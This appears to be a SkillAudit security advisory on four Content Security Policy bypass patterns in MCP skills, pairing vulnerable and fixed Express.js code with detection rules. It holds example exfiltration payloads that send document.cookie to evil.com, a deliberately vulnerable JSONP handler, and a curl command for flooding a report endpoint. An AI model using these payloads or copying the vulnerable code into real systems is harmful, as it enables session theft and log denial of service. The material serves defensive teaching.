Claude skill Content Security Policy bypass security — SA-SKL-CSPVIO
Content Security Policy is a browser security mechanism that restricts the sources from which a page can load scripts, styles, and other resources. A correctly implemented CSP provides meaningful mitigation against XSS — but a CSP with common misconfigurations provides only the illusion of protection while leaving the XSS attack surface fully exploitable. The four most common CSP bypass patterns in MCP skills are: including 'unsafe-inline' in script-src (negates XSS protection entirely), using CDN wildcard sources (attacker-controlled CDN subdomains qualify), exposing JSONP endpoints on the same origin (callbacks execute as allowed same-origin scripts), and leaving report-uri endpoints unauthenticated (flooding obscures real violation signals). SA-SKL-CSPVIO-001 through CSPVIO-004 cover each with the bypass mechanism and the correct fix.
What CSP actually prevents — and what it doesn't
CSP's primary purpose is to prevent the execution of attacker-injected scripts in the event of an XSS vulnerability. Without CSP, a reflected or stored XSS payload like <script>fetch('https://evil.com/steal?c='+document.cookie)</script> executes directly. With a correctly configured script-src using nonces, the browser refuses to execute any script without the per-request nonce value — including the attacker's injected script. CSP does not prevent the XSS vulnerability itself; it limits what the injected script can do. This is the defense-in-depth value: even if an XSS vulnerability is present, CSP can prevent the attacker from exfiltrating cookies, making authenticated API calls, or keylogging the user. But this defense collapses entirely if the CSP contains any of the bypass patterns below.
SA-SKL-CSPVIO in scope: CSPVIO-001 ('unsafe-inline' in script-src negates XSS protection), CSPVIO-002 (CDN wildcard source allows attacker-controlled script endpoints), CSPVIO-003 (JSONP on same origin bypasses 'self' restriction), CSPVIO-004 (unauthenticated report-uri endpoint exploitable for log DoS). All four are detected by SkillAudit's CSP analysis and static analysis of API endpoint response shapes.
CSPVIO-001 — script-src 'unsafe-inline' negates XSS protection
The 'unsafe-inline' keyword in script-src permits execution of inline event handlers (onclick="..."), inline <script> blocks, and javascript: URLs. This is the most common CSP mistake. Any XSS payload injected into the page as inline JavaScript — the most common form of reflected and stored XSS — will execute regardless of any other restrictions in the CSP. The 'unsafe-inline' keyword is typically added because a framework generates inline scripts (React, Vue dev mode, analytics tags, A/B testing scripts), and removing it requires refactoring those components to use nonces or external script files. The correct fix is nonce-based CSP: a per-request random nonce is added to all legitimate <script> tags, and the same nonce value is included in script-src 'nonce-{value}'; the browser only executes scripts with the matching nonce, so injected scripts have no nonce and are blocked.
// VULNERABLE: CSP with unsafe-inline — any inline XSS payload executes
app.use((req, res, next) => {
res.setHeader('Content-Security-Policy',
"default-src 'self'; " +
"script-src 'self' 'unsafe-inline' https://cdn.jsdelivr.net; " + // ← Negates XSS protection
"style-src 'self' 'unsafe-inline';"
);
next();
});
// Attacker XSS payload in a stored comment field:
//
// → Executes despite the CSP (unsafe-inline allows it)
// FIXED: nonce-based CSP — inline scripts require the per-request nonce
const crypto = require('crypto');
app.use((req, res, next) => {
// Generate a fresh nonce for each HTTP response
const nonce = crypto.randomBytes(16).toString('base64');
res.locals.cspNonce = nonce; // Accessible in template engine
res.setHeader('Content-Security-Policy',
`default-src 'self'; ` +
`script-src 'self' 'nonce-${nonce}' https://cdn.jsdelivr.net; ` + // ← Nonce, not unsafe-inline
`style-src 'self' 'unsafe-inline'; ` + // style unsafe-inline is lower risk than script
`object-src 'none'; ` +
`base-uri 'self';`
);
next();
});
// In your template (EJS example):
// <script nonce="<%= cspNonce %>">
// // Legitimate inline script — has the nonce
// </script>
// Attacker's injected <script> has no nonce — blocked by browser
Content-Security-Policy header includes 'unsafe-inline' in script-src; any XSS payload injected as an inline script or inline event handler in a reflected or stored XSS vulnerability will execute without restriction from the CSP, rendering the entire CSP ineffective as an XSS mitigation; 'unsafe-inline' in script-src is explicitly documented by the CSP specification as negating inline script protection. Fix: replace 'unsafe-inline' with 'nonce-{value}' in script-src; generate a fresh cryptographically random nonce per HTTP response; add the nonce attribute to all legitimate <script> tags in server-rendered templates; use external script files for third-party integrations that require inline initialization. Detection: SkillAudit flags any Content-Security-Policy header where script-src contains the literal string 'unsafe-inline'.CSPVIO-002 — CDN wildcard in script-src allows attacker-controlled endpoints
Using a CDN hostname wildcard like *.cdn.example.com in script-src permits scripts from any subdomain of that CDN. Many CDNs allow users to upload files and serve them from project-specific subdomains under the CDN's shared domain. If an attacker uploads a malicious JavaScript file to any project on that CDN and the CDN serves it from a subdomain covered by the wildcard, the browser will load and execute it under the application's CSP. This is not theoretical: CDN subdomain takeover has been used in the wild to inject scripts into applications with wildcard CDN source policies. The fix is to enumerate the specific CDN hostnames in use and list only those exact hostnames — never wildcards — in the CSP.
// VULNERABLE: CDN wildcard in script-src — any subdomain of the CDN qualifies
res.setHeader('Content-Security-Policy',
"script-src 'self' 'nonce-{nonce}' " +
"*.jsdelivr.net " + // ← Wildcard — any jsdelivr subdomain qualifies
"*.unpkg.com;" // ← Wildcard — any unpkg subdomain qualifies
// Note: jsdelivr and unpkg use path-based routing, not subdomains, but
// other CDNs (e.g., user-upload CDNs) do use user-specific subdomains
);
// Attacker uploads evil.js to user-cdn.example.com as 'attacker' project
// Served at: attacker.user-cdn.example.com/evil.js
// If CSP includes *.user-cdn.example.com, the script executes
// FIXED: specific CDN hostnames only — no wildcards
res.setHeader('Content-Security-Policy',
`script-src 'self' 'nonce-${nonce}' ` +
`https://cdn.jsdelivr.net ` + // Exact hostname — not wildcard
`https://unpkg.com; ` + // Exact hostname — not wildcard
`object-src 'none'; ` +
`base-uri 'self';`
);
// For user-uploaded-content CDNs: use a separate domain entirely
// (not a subdomain of your application domain — prevents cookie access)
// e.g., serve user uploads from uploads.skillaudit-static.com (different eTLD+1)
// and add only https://uploads.skillaudit-static.com to img-src/media-src, never script-src
script-src directive includes a wildcard CDN source (e.g., *.cdn.example.com, *.unpkg.com); if the CDN allows user-controlled content to be served from project-specific subdomains under the wildcard domain, an attacker can upload a malicious script to that CDN and serve it from a URL that the application's CSP explicitly permits; the browser loads and executes the attacker's script with full access to the page's DOM and cookies. Fix: replace all wildcard CDN sources with explicit CDN hostnames in script-src; audit which CDN assets are actually used and add only the minimum required specific origins. Detection: SkillAudit flags Content-Security-Policy script-src values containing wildcard host expressions (*.domain patterns).CSPVIO-003 — JSONP endpoint on same origin bypasses default-src 'self'
JSONP (JSON with Padding) is a legacy cross-origin data-sharing technique where the server wraps the JSON response in a JavaScript function call: GET /api/data?callback=myFunction returns myFunction({"key":"value"}). JSONP endpoints are served as JavaScript (Content-Type: application/javascript or no content-type restriction) from the same origin as the application. A CSP with script-src 'self' permits scripts from the same origin — which includes the JSONP endpoint. An attacker who finds a JSONP endpoint on the application can craft a URL like /api/callback?fn=fetch('https://evil.com/steal?c='+document.cookie)//. When a <script src="/api/callback?fn=..."> tag is injected via XSS, the browser requests the JSONP endpoint, the server wraps the query parameter in a function call that evaluates to the attacker's code, and the browser executes it. The fix is to remove JSONP endpoints entirely — they are unnecessary in any browser released after 2015 (all support CORS).
// VULNERABLE: JSONP endpoint on same origin — bypasses script-src 'self'
app.get('/api/data', (req, res) => {
const callback = req.query.callback || req.query.fn || req.query.jsonp;
const data = { status: 'ok', version: '2.0' };
if (callback) {
// VULNERABLE: callback parameter reflected directly into JS response
// Attacker uses: /api/data?callback=fetch('https://evil.com/?c='+document.cookie)//
// Server responds: fetch('https://evil.com/?c='+document.cookie)//({"status":"ok"...})
res.type('application/javascript');
res.send(`${callback}(${JSON.stringify(data)})`); // ← Arbitrary code execution
} else {
res.json(data);
}
});
// CSP: script-src 'self' — does NOT block /api/data?callback=... since it's same-origin
// FIXED: remove JSONP endpoint entirely — use CORS for cross-origin data access
// All modern browsers (since 2015) support CORS — JSONP has no modern use case
// Replace JSONP with a proper CORS JSON endpoint:
app.get('/api/data', cors({ origin: ['https://trusted-partner.com'] }), (req, res) => {
res.json({ status: 'ok', version: '2.0' });
// No callback parameter — no JSONP surface
});
// If a callback parameter must exist for legacy clients (truly exceptional):
// Validate it against a strict allowlist of known function names
const ALLOWED_CALLBACKS = new Set(['onSkillAuditData', 'handleAuditResponse']);
app.get('/api/data/legacy', (req, res) => {
const callback = req.query.callback;
if (!callback || !ALLOWED_CALLBACKS.has(callback)) {
return res.status(400).json({ error: 'Invalid or missing callback' });
}
const data = { status: 'ok' };
res.type('application/javascript');
res.send(`${callback}(${JSON.stringify(data)})`);
// Allowlist prevents arbitrary code execution via callback injection
});
callback, fn, or jsonp query parameter and reflects it into a JavaScript-typed response) on the same origin as the application; a CSP with script-src 'self' allows same-origin scripts, so an attacker who injects a <script src="/api/data?callback=PAYLOAD"> tag via XSS executes arbitrary JavaScript through the JSONP endpoint despite the CSP; the endpoint is a CSP bypass gadget on the application's own origin. Fix: remove all JSONP endpoints; replace cross-origin data sharing with CORS JSON endpoints; if legacy JSONP support is unavoidable, validate the callback parameter against a strict static allowlist of known function names. Detection: SkillAudit flags route handlers that reflect req.query.callback, req.query.fn, or req.query.jsonp directly into a response body with JavaScript content-type.CSPVIO-004 — Unauthenticated report-uri endpoint exploitable for log DoS
CSP's report-uri (or modern report-to) directive instructs browsers to send violation reports to a specified endpoint when the CSP blocks a resource load. These reports are sent as POST requests with a JSON body describing the blocked resource, the document URL, the violating directive, and the blocked source. The report-uri endpoint receives these reports from real browsers, but it also receives them from anyone who can POST JSON to it — including automated scanners and attackers. An attacker who discovers the report-uri endpoint can send millions of synthetic CSP violation reports at high rate, filling the application's log storage, obscuring real violation signals that would indicate a live XSS attempt, and potentially causing the logging infrastructure to crash or stop accepting new records. The fix is to rate-limit the report-uri endpoint and validate the report structure before logging.
// VULNERABLE: unauthenticated report-uri endpoint with no rate limit or validation
app.post('/api/csp-report', express.json({ type: 'application/csp-report' }), async (req, res) => {
const report = req.body['csp-report'];
// VULNERABLE: no rate limit, no authentication, no structure validation
// Attacker floods with millions of synthetic reports:
// curl -X POST https://skillaudit.dev/api/csp-report \
// -H 'Content-Type: application/csp-report' \
// -d '{"csp-report":{"blocked-uri":"evil","document-uri":"..."}}'
await db.cspViolations.create({
documentUri: report['document-uri'],
violatedDirective: report['violated-directive'],
blockedUri: report['blocked-uri'],
timestamp: new Date(),
});
res.status(204).end();
// Log storage fills; real CSP violations from live XSS attempts are buried
});
// FIXED: rate-limited, validated CSP report endpoint
const rateLimit = require('express-rate-limit');
const cspReportLimiter = rateLimit({
windowMs: 60 * 1000, // 1 minute
max: 20, // 20 reports per IP per minute — enough for real browsers
standardHeaders: true,
legacyHeaders: false,
skip: (req) => false, // Apply to all IPs including internal
});
// Known-good violated-directive values to validate against
const KNOWN_DIRECTIVES = new Set([
'script-src', 'style-src', 'img-src', 'connect-src',
'font-src', 'frame-src', 'media-src', 'object-src',
'script-src-elem', 'script-src-attr',
]);
app.post('/api/csp-report',
cspReportLimiter,
express.json({ type: 'application/csp-report', limit: '10kb' }), // Limit body size
async (req, res) => {
const report = req.body?.['csp-report'];
// FIXED: validate report structure before logging
if (!report || typeof report !== 'object') {
return res.status(400).end();
}
const directive = report['violated-directive']?.split(' ')[0]; // 'script-src https://...' → 'script-src'
const documentUri = report['document-uri'];
const blockedUri = report['blocked-uri'];
// Only log if structure matches expected CSP report shape
if (
typeof documentUri !== 'string' ||
!documentUri.startsWith('https://skillaudit.dev') ||
!KNOWN_DIRECTIVES.has(directive)
) {
return res.status(204).end(); // Silently ignore malformed reports
}
// Log only the validated fields — never the raw report object
await db.cspViolations.create({
documentUri: documentUri.substring(0, 200), // Truncate
violatedDirective: directive,
blockedUri: typeof blockedUri === 'string' ? blockedUri.substring(0, 200) : null,
timestamp: new Date(),
});
res.status(204).end();
}
);
report-uri endpoint accepts POST requests without rate limiting, authentication, or report structure validation; an attacker can flood the endpoint with synthetic CSP violation reports at high volume, exhausting log storage, saturating database write throughput, and obscuring real CSP violation signals that would indicate an active XSS exploitation attempt; at extreme rates, the endpoint becomes a denial-of-service vector against the logging infrastructure. Fix: apply a per-IP rate limit (20 reports/minute — sufficient for real browser reporting); validate that the document-uri field matches the application's origin before logging; validate the violated-directive against a known-directive allowlist; truncate all logged field values; consider switching to the modern Reporting-API (report-to) which includes browser-side throttling. Detection: SkillAudit flags report-uri endpoint route handlers without a rate limit middleware and without input validation on the csp-report body fields.SkillAudit detection summary — SA-SKL-CSPVIO
| Pattern ID | Severity | What SkillAudit flags | Fix |
|---|---|---|---|
| CSPVIO-001 | CRITICAL | Content-Security-Policy header where script-src contains 'unsafe-inline' | Nonce-based CSP: 'nonce-{random}' per response; add nonce attribute to all legitimate script tags |
| CSPVIO-002 | HIGH | script-src containing wildcard host expressions (*.domain) | Enumerate and list specific CDN hostnames only; no wildcards in script-src |
| CSPVIO-003 | HIGH | Route handlers reflecting req.query.callback, req.query.fn, or req.query.jsonp into JavaScript-typed response body | Remove JSONP endpoints; use CORS JSON; if unavoidable, validate callback against static allowlist |
| CSPVIO-004 | MEDIUM | CSP report endpoint route handler without rate limit middleware and without body field validation | Per-IP rate limit (20/min); validate document-uri and violated-directive; truncate logged fields |
Related patterns: For XSS via unsafe HTML rendering in MCP skill output, see SA-SKL-XSS. For subdomain takeover enabling script source claims on wildcard CDN subdomains, see SA-SKL-SUBDOM. For API versioning gaps that expose deprecated endpoints with weaker security headers, see SA-SKL-APIVERSION.